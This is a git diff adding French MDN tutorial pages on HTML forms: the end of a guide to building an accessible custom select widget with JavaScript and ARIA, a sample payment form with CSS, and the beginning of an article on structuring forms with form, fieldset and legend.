+      toggleOptList(select);
+    });
+
+    // Dans le cas où le widget obtient le focus
+    // Le widget obtient le focus chaque fois que l'utilisateur clique dessus
+    // ou presse la touche Tab pour avoir accès au widget
+    select.addEventListener('focus', function (event) {
+      // Note : les variable `select` et `selectList` sont des "closures"
+      // disponibles dans la portée de notre appel de fonction.
+
+      // Nous activons le widget
+      activeSelect(select, selectList);
+    });
+
+    // Dans le cas où le widget perd le focus
+    select.addEventListener('blur', function (event) {
+      // Note : la variable `select` est une "closure"
+      // disponible dans la portée de notre appel de fonction.
+
+      // Nous désactivons le widget
+      deactivateSelect(select);
+    });
+  });
+});</pre>
+
+<p>A ce stade, notre widget change d'état comme nous l'avons conçu, mais sa valeur n'est pas encore mise à jour. On s'en occupera après.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col" style="text-align: center;">Exemple en direct</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{EmbedLiveSample("Change_states",120,130, "", "/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_3")}}</td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_3" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_3">Revoir le code source</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Gérer_la_valeur_du_widget">Gérer la valeur du widget</h3>
+
+<p> </p>
+
+<p>Maintenant que notre widget fonctionne, nous devons ajouter du code pour mettre à jour la valeur en fonction des entrées utilisateur et envoyer cette valeur avec les données du formulaire.</p>
+
+<p>La façon la plus simple de le faire est d'utiliser un widget natif sous‑jacent. Un tel widget gardera une trace de la valeur avec tous les contrôles intégrés fournis par le navigateur, et la valeur sera envoyée comme d'habitude lorsque le formulaire sera soumis. Il ne sert à rien de réinventer la roue alors que tout cela peut être fait pour nous.</p>
+
+<p>Comme nous l'avons vu précédemment, nous utilisons déjà un widget de sélection natif comme solution de repli pour des raisons d'accessibilité ; nous pouvons simplement synchroniser sa valeur avec celle de notre widget personnalisé :</p>
+
+<pre class="brush: js">// Cette fonction met à jour la valeur affichée et la synchronise avec celle
+// du widget natif. Elle prend deux paramètres :
+// select : le nœud DOM de la classe `select` contenant la valuer à mettre à jour
+// index  : l'index de la valeur choisie
+function updateValue(select, index) {
+  // Nous devons obtenir le widget natif correspondant au widget personnalisé
+  // Dans notre exemple, le widget natif est un parent du widget personnalisé
+  var nativeWidget = select.previousElementSibling;
+
+  // Nou devons aussi obtenir la valeur de remplacement du widget personnalisé
+  var value = select.querySelector('.value');
+
+  // Et nous avons besoin de toute la liste des options
+  var optionList = select.querySelectorAll('.option');
+
+  // Nous définissons l'index choisi à l'index du choix
+  nativeWidget.selectedIndex = index;
+
+  // Nous mettons à jour la valeur de remplacement en accord
+  value.innerHTML = optionList[index].innerHTML;
+
+  // Et nous mettons en surbrillance l'option correspondante du widget personnalisé
+  highlightOption(select, optionList[index]);
+};
+
+// Cette fonction renvoie l'index courant dans le widget natif
+// Elle prend un paramètre :
+// select : le nœud DOM avec la classe `select` relative au widget natif
+function getIndex(select) {
+  // Nous avons besoin d'avoir accès au widget natif pour le widget personnalisé
+  // Dans notre exemple, le widget natif est un parent du widget personnalisé
+  var nativeWidget = select.previousElementSibling;
+
+  return nativeWidget.selectedIndex;
+};</pre>
+
+<p>Avec ces deux fonctions, nous pouvons lier les widgets natifs avec les personnalisés :</p>
+
+<pre class="brush: js">// Nous lions le widget aux événements dès le chargement du document
+window.addEventListener('load', function () {
+  var selectList = document.querySelectorAll('.select');
+
+  // Chaque widget personnalisé doit être initialisé
+  selectList.forEach(function (select) {
+    var optionList = select.querySelectorAll('.option'),
+        selectedIndex = getIndex(select);
+
+    // Nous rendons le widget personnalisé capable d'avoir le focus
+    select.tabIndex = 0;
+
+    // Nous faisons en sorte que le widget natif ne puisse plus avoir le focus
+    select.previousElementSibling.tabIndex = -1;
+
+    // Nous nous assurons que la valeur sélectionnée par défaut est bien affichée
+    updateValue(select, selectedIndex);
+
+    // Chaque fois que l'utilisateur clique sur une option, nous mettons à
+    // jour la valeur en accord
+    optionList.forEach(function (option, index) {
+      option.addEventListener('click', function (event) {
+        updateValue(select, index);
+      });
+    });
+
+    // Chaque fois que l'utilisateur utilise le clavier sur un widget
+    // avec focus, les valeurs sont mises à jour en accord
+
+    select.addEventListener('keyup', function (event) {
+      var length = optionList.length,
+          index  = getIndex(select);
+
+      // Quand l'utilisateur presse ⇓, nous allons à l'option suivante
+      if (event.keyCode === 40 &amp;&amp; index &lt; length - 1) { index++; }
+
+      // Quand l'utilisateur presse ⇑, nous sautons à l'option suivante
+      if (event.keyCode === 38 &amp;&amp; index &gt; 0) { index--; }
+
+      updateValue(select, index);
+    });
+  });
+});</pre>
+
+<p>Dans le code ci-dessus, il faut noter l'utilisation de la propriété <code><a href="/en-US/docs/Web/API/HTMLElement/tabIndex" title="/en-US/docs/Web/API/HTMLElement/tabIndex">tabIndex</a></code>. Utiliser cette propriété est nécessaire pour être sûr que le widget natif n'obtiendra jamais le focus et que le widget personnalisé l'obtiendra quand l'utilisateur utilise le clavier ou la souris.</p>
+
+<p>Et voilà, nous avons terminé ! Voici le résultat :</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col" style="text-align: center;">Exemple en direct</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{EmbedLiveSample("Change_states",120,130, "", "/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_4")}}</td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_4" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_3">Revoir le code source</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Mais attendez, avons‑nous vraiment terminé ?</p>
+
+<h2 id="Le_rendre_«_accessible_»">Le rendre « accessible »</h2>
+
+<p> </p>
+
+<p>Nous venons de faire quelque chose qui fonctionne, même si nous sommes loin d'avoir une boîte de sélection avec toutes les fonctionnalités, elle fonctionne parfaitement. Mais ce que nous avons fait n'est rien de plus que de jouer avec les DOM. Elle n'a pas de sémantique réelle, et même si elle ressemble à une boîte de sélection, du point de vue du navigateur, ce n'en est pas une, de sorte que les technologies d'assistance ne pourront pas comprendre que c'est une boîte de sélection. Bref, cette jolie nouvelle boîte de sélection n'est pas accessible !</p>
+
+<p>Heureusement, il existe une solution et elle s'appelle <a href="/en-US/docs/Accessibility/ARIA" title="/en-US/docs/Accessibility/ARIA">ARIA</a>. ARIA signifie « Accessible Rich Internet Application » et c'est une<a href="http://www.w3.org/TR/wai-aria/" rel="external" title="http://www.w3.org/TR/wai-aria/"> norme W3C </a>spécialement conçue pour ce que nous faisons ici : rendre accessibles les applications web et les widgets personnalisés. Il s'agit essentiellement d'un ensemble d'attributs qui étendent le HTML afin que nous puissions mieux décrire les rôles, les états et les propriétés comme si l'élément que nous venons de concevoir était l'élément natif pour lequel il essaie de passer. L'utilisation de ces attributs est très simple, alors faisons-le.</p>
+
+<h3 id="L'attribut_role">L'attribut <code>role</code></h3>
+
+<p>L'attribut clé utilisé par <a href="/en-US/docs/Accessibility/ARIA" title="/en-US/docs/Accessibility/ARIA">ARIA</a> est l'attribut <a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques" title="/en-US/docs/Accessibility/ARIA/ARIA_Techniques"><code>role</code></a>. L'attribut <a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques" title="/en-US/docs/Accessibility/ARIA/ARIA_Techniques"><code>role </code></a> accepte une valeur qui définit à quoi sert un élément. Chaque rôle définit ses propres exigences et comportements. Dans notre exemple, nous utiliserons le rôle de <code><a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_listbox_role" title="/en-US/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_listbox_role">listbox</a></code>. C'est un « rôle composite », ce qui signifie que les éléments ayant ce rôle s'attendent à avoir des enfants, chacun avec un rôle spécifique (dans ce cas, au moins un enfant avec le rôle <code>option</code>).</p>
+
+<p>Il faut aussi noter qu'ARIA définit les rôles appliqués par défaut aux balises HTML standard. Par exemple, l'élément {{HTMLElement("table")}} correspond au rôle <code>grid</code>, et l'élément {{HTMLElement("ul")}} correspond au rôle <code>list</code>. Comme nous utilisons un élément {{HTMLElement("ul")}}, nous voulons nous assurer que le rôle <code>listbox</code> de notre widget remplacera le rôle <code>list</code> de l'élément {{HTMLElement("ul")}}. À cette fin, nous utiliserons le rôle <code>presentation</code>. Ce rôle est conçu pour nous permettre d'indiquer qu'un élément n'a pas de signification particulière, et est utilisé uniquement pour présenter de l'information. Nous l'appliquerons à notre élément {{HTMLElement("ul")}}.</p>
+
+<p>Pour prendre en charge le rôle <code>listbos</code>, nous n'avons qu'à mettre à jour notre HTML comme ceci :</p>
+
+<pre class="brush: html">&lt;!-- Nous ajoutons le role="listbox" en attribut de l'élément de tête --&gt;
+&lt;div class="select" role="listbox"&gt;
+  &lt;span class="value"&gt;Cherry&lt;/span&gt;
+  &lt;!-- Nous ajoutons aussi le role="presentation" à l'élément ul --&gt;
+  &lt;ul class="optList" role="presentation"&gt;
+    &lt;!-- et le rôle="option" en attribut de tous les éléments li --&gt;
+    &lt;li role="option" class="option"&gt;Cherry&lt;/li&gt;
+    &lt;li role="option" class="option"&gt;Lemon&lt;/li&gt;
+    &lt;li role="option" class="option"&gt;Banana&lt;/li&gt;
+    &lt;li role="option" class="option"&gt;Strawberry&lt;/li&gt;
+    &lt;li role="option" class="option"&gt;Apple&lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/div&gt;</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Inclure à la fois l'attribut <code>role</code> et l'attribut <code>class</code> n'est nécessaire que si vous souhaitez prendre en charge les navigateurs anciens qui n'acceptent pas les <a href="/en-US/docs/CSS/Attribute_selectors" title="/en-US/docs/CSS/Attribute_selectors">selecteurs d'attribut CSS</a>.</p>
+</div>
+
+<h3 id="L'attribut_aria-selected">L'attribut  <code>aria-selected</code></h3>
+
+<p>Utiliser l'attribut <code>role</code> ne suffit pas. <a href="/en-US/docs/Accessibility/ARIA" title="/en-US/docs/Accessibility/ARIA">ARIA</a> fournit également de nombreux états et attributs de propriété. Plus vous les utiliserez, mieux votre widget sera compris par les techniques d'assistance. Dans notre cas, nous limiterons notre utilisation à un seul attribut : <code>aria-selected</code>.</p>
+
+<p>L'attribut <code>aria-selected</code> s'utilise pour marquer l'option actuellement sélectionnée ; ceci permet aux techniques d'assistance d'informer l'utilisateur quelle est la sélection en cours. Nous l'utiliserons dynamiquement avec JavaScript pour marquer l'option sélectionnée chaque fois que l'utilisateur en choisit une. Pour cela, nous devons réviser la fonction <code>updateValue()</code> :</p>
+
+<pre class="brush: js">function updateValue(select, index) {
+  var nativeWidget = select.previousElementSibling;
+  var value = select.querySelector('.value');
+  var optionList = select.querySelectorAll('.option');
+
+  // Nous nous assurons qu'aucune option n'est sélectionnée
+  optionList.forEach(function (other) {
+    other.setAttribute('aria-selected', 'false');
+  });
+
+  // Nous nous assurons que l'option choisie est sélectionnée
+  optionList[index].setAttribute('aria-selected', 'true');
+
+  nativeWidget.selectedIndex = index;
+  value.innerHTML = optionList[index].innerHTML;
+  highlightOption(select, optionList[index]);
+};</pre>
+
+<p>Voici le résultat final de toutes ces modifications (vous obtiendrez un meilleur ressenti en les testant avec une technique d'assistance comme <a href="http://www.nvda-project.org/" rel="external" title="http://www.nvda-project.org/">NVDA</a> ou <a href="http://www.apple.com/accessibility/voiceover/" rel="external" title="http://www.apple.com/accessibility/voiceover/">VoiceOver</a>) :</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col" style="text-align: center;">Exemple en direct</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{EmbedLiveSample("Change_states",120,130, "", "/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_5")}}</td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_5" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_3">Revoir le code source</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>Nous venons de voir les bases pour la construction d'un widget de formulaire personnalisé, mais comme vous avez pu le voir, ce n'est pas facile à faire, et il est souvent préférable et plus facile de s'appuyer sur des bibliothèques tierces au lieu de les coder vous-même (sauf, bien sûr, si vous souhaitez bâtir une telle bibliothèque).</p>
+
+<p>Voici quelques bibliothèques à prendre en considération avant de coder les vôtres :</p>
+
+<ul>
+ <li><a href="http://jqueryui.com/" rel="external" title="http://jqueryui.com/">jQuery UI</a></li>
+ <li><a href="https://github.com/marghoobsuleman/ms-Dropdown" rel="external" title="https://github.com/marghoobsuleman/ms-Dropdown">msDropDown</a></li>
+ <li><a href="http://www.emblematiq.com/lab/niceforms/" rel="external" title="http://www.emblematiq.com/lab/niceforms/">Nice Forms</a></li>
+ <li><a href="https://www.google.fr/search?q=HTML+custom+form+controls&amp;ie=utf-8&amp;oe=utf-8&amp;aq=t&amp;rls=org.mozilla:fr:official&amp;client=firefox-a" rel="external" title="https://www.google.fr/search?q=HTML+custom+form+controls&amp;ie=utf-8&amp;oe=utf-8&amp;aq=t&amp;rls=org.mozilla:fr:official&amp;client=firefox-a">et beaucoup d'autres…</a></li>
+</ul>
+
+<p>Si vous voulez aller plus loin, le code de cet exemple mérite quelques amélioration avant de devenir générique et réutilisable. C'est un exercice que vous pouvez essayer de faire. Deux conseils pour vous aider : le premier argument pour toutes nos fonctions est le même, ce qui signifie que ces fonctions ont besoin du même contexte. Il serait avisé de construire un objet pour partager ce contexte. En outre, vous devrez éprouver ses fonctionnalités, c'est-à-dire qu'il doit pouvoir fonctionner avec les divers navigateurs dont la compatibilité avec les normes Web qu'ils utilisent varie. Amusez-vous bien !</p>
+
+<p>{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Validation_donnees_formulaire", "Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript", "Web/Guide/HTML/Formulaires")}}</p>
+
+<h2 id="Dans_ce_module">Dans ce module</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML">Mon premier formulaire HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML"><span>Comment structurer un formulaire HTML</span></a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs">Les widgets natifs pour formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires">Envoi des données de formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">Validation des données de formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés">Comment construire des widgets personnalisés pour formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript">Envoi de formulaires à l'aide du JavaScript</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers">Formulaires HTML dans les navigateurs anciens</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML">Mise en forme des formulaires HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms">Mise en forme avancée des formulaires HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets">Table de compatibilité des propriétés pour les widgets de formulaire</a></li>
+</ul>
diff --git a/files/fr/web/guide/html/formulaires/comment_structurer_un_formulaire_html/exemple/index.html b/files/fr/web/guide/html/formulaires/comment_structurer_un_formulaire_html/exemple/index.html
new file mode 100644
index 0000000000..91cd643bd1
--- /dev/null
+++ b/files/fr/web/guide/html/formulaires/comment_structurer_un_formulaire_html/exemple/index.html
@@ -0,0 +1,166 @@
+---
+title: Exemple
+slug: Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML/Exemple
+translation_of: Learn/Forms/How_to_structure_a_web_form/Example
+---
+<p>Ceci est un exemple de formulaire de paiement basique extrait de l'article <a href="/fr/docs/HTML/Formulaires/Comment_structurer_un_formulaire_HTML" title="/fr/docs/HTML/Formulaires/Comment_structurer_un_formulaire_HTML">Comment structurer un formulaire HTML</a>.</p>
+
+<h2 id="Un_formulaire_de_paiement" name="Un_formulaire_de_paiement">Un formulaire de paiement</h2>
+
+<h3 id="Contenu_HTML">Contenu HTML</h3>
+
+<pre class="brush: html">&lt;form&gt;
+        &lt;h1&gt;Formulaire de paiement&lt;/h1&gt;
+        &lt;p&gt;Les champs obligatoires sont suivis par &lt;strong&gt;&lt;abbr title="required"&gt;*&lt;/abbr&gt;&lt;/strong&gt;.&lt;/p&gt;
+        &lt;section&gt;
+            &lt;h2&gt;Informations de contact&lt;/h2&gt;
+            &lt;fieldset&gt;
+              &lt;legend&gt;Qualité&lt;/legend&gt;
+              &lt;ul&gt;
+                  &lt;li&gt;
+                    &lt;label for="title_1"&gt;
+                      &lt;input type="radio" id="title_1" name="title" value="M." &gt;
+                      Monsieur
+                    &lt;/label&gt;
+                  &lt;/li&gt;
+                  &lt;li&gt;
+                    &lt;label for="title_2"&gt;
+                      &lt;input type="radio" id="title_2" name="title" value="Mme."&gt;
+                      Madame
+                    &lt;/label&gt;
+                  &lt;/li&gt;
+              &lt;/ul&gt;
+            &lt;/fieldset&gt;
+            &lt;p&gt;
+              &lt;label for="name"&gt;
+                &lt;span&gt;Nom :&lt;/span&gt;
+                &lt;strong&gt;&lt;abbr title="required"&gt;*&lt;/abbr&gt;&lt;/strong&gt;
+              &lt;/label&gt;
+              &lt;input type="text" id="name" name="username"&gt;
+            &lt;/p&gt;
+            &lt;p&gt;
+              &lt;label for="mail"&gt;
+                &lt;span&gt;e-mail :&lt;/span&gt;
+                &lt;strong&gt;&lt;abbr title="required"&gt;*&lt;/abbr&gt;&lt;/strong&gt;
+              &lt;/label&gt;
+              &lt;input type="email" id="mail" name="usermail"&gt;
+            &lt;/p&gt;
+            &lt;p&gt;
+              &lt;label for="password"&gt;
+                &lt;span&gt;Mot de passe :&lt;/span&gt;
+                &lt;strong&gt;&lt;abbr title="required"&gt;*&lt;/abbr&gt;&lt;/strong&gt;
+              &lt;/label&gt;
+              &lt;input type="password" id="pwd" name="password"&gt;
+            &lt;/p&gt;
+        &lt;/section&gt;
+        &lt;section&gt;
+            &lt;h2&gt;Informations de paiement&lt;/h2&gt;
+            &lt;p&gt;
+              &lt;label for="card"&gt;
+                &lt;span&gt;Type de carte :&lt;/span&gt;
+              &lt;/label&gt;
+              &lt;select id="card" name="usercard"&gt;
+                &lt;option value="visa"&gt;Visa&lt;/option&gt;
+                &lt;option value="mc"&gt;Mastercard&lt;/option&gt;
+                &lt;option value="amex"&gt;American Express&lt;/option&gt;
+              &lt;/select&gt;
+            &lt;/p&gt;
+            &lt;p&gt;
+              &lt;label for="number"&gt;
+                &lt;span&gt;Numéro :&lt;/span&gt;
+                &lt;strong&gt;&lt;abbr title="required"&gt;*&lt;/abbr&gt;&lt;/strong&gt;
+              &lt;/label&gt;
+                &lt;input type="text" id="number" name="cardnumber"&gt;
+            &lt;/p&gt;
+            &lt;p&gt;
+              &lt;label for="date"&gt;
+                &lt;span&gt;Validité :&lt;/span&gt;
+                &lt;strong&gt;&lt;abbr title="required"&gt;*&lt;/abbr&gt;&lt;/strong&gt;
+                &lt;em&gt;format mm/aa&lt;/em&gt;
+              &lt;/label&gt;
+              &lt;input type="text" id="date" name="expiration"&gt;
+            &lt;/p&gt;
+        &lt;/section&gt;
+        &lt;section&gt;
+            &lt;p&gt; &lt;button type="submit"&gt;Valider le paiement&lt;/button&gt; &lt;/p&gt;
+        &lt;/section&gt;
+    &lt;/form&gt;</pre>
+
+<h3 id="Contenu_CSS">Contenu CSS</h3>
+
+<pre class="brush: css">      h1 {
+          margin-top: 0;
+      }
+
+      ul {
+          margin: 0;
+          padding: 0;
+          list-style: none;
+      }
+
+      form {
+          margin: 0 auto;
+          width: 450px;
+          padding: 1em;
+          border: 1px solid #CCC;
+          border-radius: 1em;
+      }
+
+      div+div {
+          margin-top: 1em;
+      }
+
+      label span {
+          display: inline-block;
+          width: 120px;
+          text-align: right;
+      }
+
+      input, textarea {
+          font: 1em sans-serif;
+          width: 250px;
+          box-sizing: border-box;
+          border: 1px solid #999;
+      }
+
+      input[type=checkbox], input[type=radio] {
+          width: auto;
+          border: none;
+      }
+
+      input:focus, textarea:focus {
+          border-color: #000;
+      }
+
+      textarea {
+          vertical-align: top;
+          height: 5em;
+          resize: vertical;
+      }
+
+      fieldset {
+          width: 250px;
+          box-sizing: border-box;
+          margin-left: 146px;
+          border: 1px solid #999;
+      }
+
+      button {
+          margin: 20px 0 0 124px;
+      }
+
+      label {
+        position: relative;
+      }
+
+      label em {
+        position: absolute;
+        right: 5px;
+        top: 20px;
+      }</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{ EmbedLiveSample("Un_formulaire_de_paiement", "100%", "620") }}</p>
+
+<p> </p>
diff --git a/files/fr/web/guide/html/formulaires/comment_structurer_un_formulaire_html/index.html b/files/fr/web/guide/html/formulaires/comment_structurer_un_formulaire_html/index.html
new file mode 100644
index 0000000000..f7d2e7db7d
--- /dev/null
+++ b/files/fr/web/guide/html/formulaires/comment_structurer_un_formulaire_html/index.html
@@ -0,0 +1,310 @@
+---
+title: Comment structurer un formulaire HTML
+slug: Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML
+tags:
+  - Apprentissage
+  - Débutant
+  - Exemple
+  - Formulaires
+  - Guide
+  - HTML
+  - Structure
+  - Web
+translation_of: Learn/Forms/How_to_structure_a_web_form
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML", "Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs", "Web/Guide/HTML/Formulaires")}}</div>
+
+<p class="summary">Les bases vues, nous examinons maintenant plus en détail les éléments utilisés pour structurer et donner un sens aux différentes parties d'un formulaire.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prérequis :</th>
+   <td>Notions concernant les ordinateurs et les <a class="new" href="https://developer.mozilla.org/fr/docs/Learn/HTML/Introduction_to_HTML" rel="nofollow">connaissances de base du HTML</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objectif :</th>
+   <td>Comprendre comment structurer les formulaires HTML et leur adjoindre la sémantique pour qu'ils soient utilisables et accessibles.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>La souplesse des formulaires HTML fait d'eux une des structures les plus complexes en <a href="/fr/docs/HTML" title="/en-US/docs/HTML">HTML</a>. vous pouvez construire n'importe quel type de formulaire basique en utilisant les éléments et attributs qui leur sont dédiés. En utilisant une architecture correcte lors de la construction d'un formulaire, vous serez sûrs que le formulaire est à la fois utilisable et <a href="/fr/docs/MDN/Doc_status/Accessibility">accessible</a>.</p>
+
+<h2 id="L'élément_&lt;form>">L'élément &lt;form&gt;</h2>
+
+<p>L'élément {{HTMLElement("form")}} définit conventionnellement un formulaire et des attributs qui déterminent le comportement du‑dit formulaire. Chaque fois que vous voulez créer un formulaire HTML, vous devez le débuter par cet élément et mettre tout son contenu à l'intérieur. De nombreuses techniques d'assistance ou greffons de navigateur peuvent détecter les éléments {{HTMLElement("form")}} et implémenter des accroches spéciales pour les rendre plus faciles à utiliser.</p>
+
+<p>Nous l'avons déjà rencontré dans l'article précédent.</p>
+
+<div class="note"><strong>Note :</strong> Il est strictement interdit d'imbriquer un formulaire dans un autre formulaire. L'imbrication peut conduire à des comportements imprévisibles selon le navigateur utilisé.</div>
+
+<p>Notez qu'il est toujours possible d'utiliser un widget de formulaire en dehors d'un élément {{HTMLElement("form")}} mais si vous le faites, ce widget de formulaire n'a rien à voir avec un formulaire. De tels widgets peuvent être utilisés en dehors d'un formulaire, mais alors vous devriez avoir un plan spécial pour de tels widgets, puisqu'ils ne feront rien tout seuls. Vous devrez personnaliser leur comportement avec JavaScript.</p>
+
+<div class="note">
+<p><strong>Note</strong>: HTML5 introduit l'attribut <code>form</code> dans les éléments form du HTML. Il devrait vous permettre de lier explicitement un élément avec un formulaire même s'il n'est pas inclus dans un {{ HTMLElement("form") }}. Malheureusement, pour l'instant, l'implémentation de cette fonctionnalité dans les navigateurs n'est pas encore assez fiable.</p>
+</div>
+
+<h2 id="Les_éléments_&lt;fieldset>_et_&lt;legend>">Les éléments &lt;fieldset&gt; et &lt;legend&gt;</h2>
+
+<p>L'élément {{HTMLElement("fieldset")}} est un moyen pratique de créer des groupes de widgets qui partagent le même but, pour le style et la sémantique. Vous pouvez étiqueter un {{HTMLElement("fieldset")}} en incluant un élément {{HTMLElement("legend")}} juste en dessous de la balise d'ouverture &lt;fieldset&gt;. Le contenu textuel de l'élément {{HTMLElement("legend")}} décrit formellement le but de l'élément {{HTMLElement("fieldset")}} inclus à l'intérieur.</p>
+
+<p>De nombreuses technologies d'assistance utiliseront l'élément {{HTMLElement("legend")}} comme s'il faisait partie de l'étiquette de chaque widget à l'intérieur de l'élément {{HTMLElement("fieldset")}} correspondant. Par exemple, certains lecteurs d'écran comme <a href="http://www.freedomscientific.com/products/fs/jaws-product-page.asp" rel="external" title="http://www.freedomscientific.com/products/fs/jaws-product-page.asp">Jaws</a> ou <a href="http://www.nvda-project.org/" rel="external" title="http://www.nvda-project.org/">NVDA</a> énonceront le contenu de la légende avant d'indiquer l'étiquette de chaque widget.</p>
+
+<p>Voici un petit exemple :</p>
+
+<pre class="brush:html; line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>form</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>fieldset</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>legend</span><span class="punctuation token">&gt;Taille du jus de fruits</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>legend</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>radio<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>size<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>size_1<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>small<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>size_1<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Petite<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>radio<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>size<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>size_2<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>medium<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>size_2<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Moyen<span class="tag token"><span class="tag token"><span class="punctuation token">ne&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>
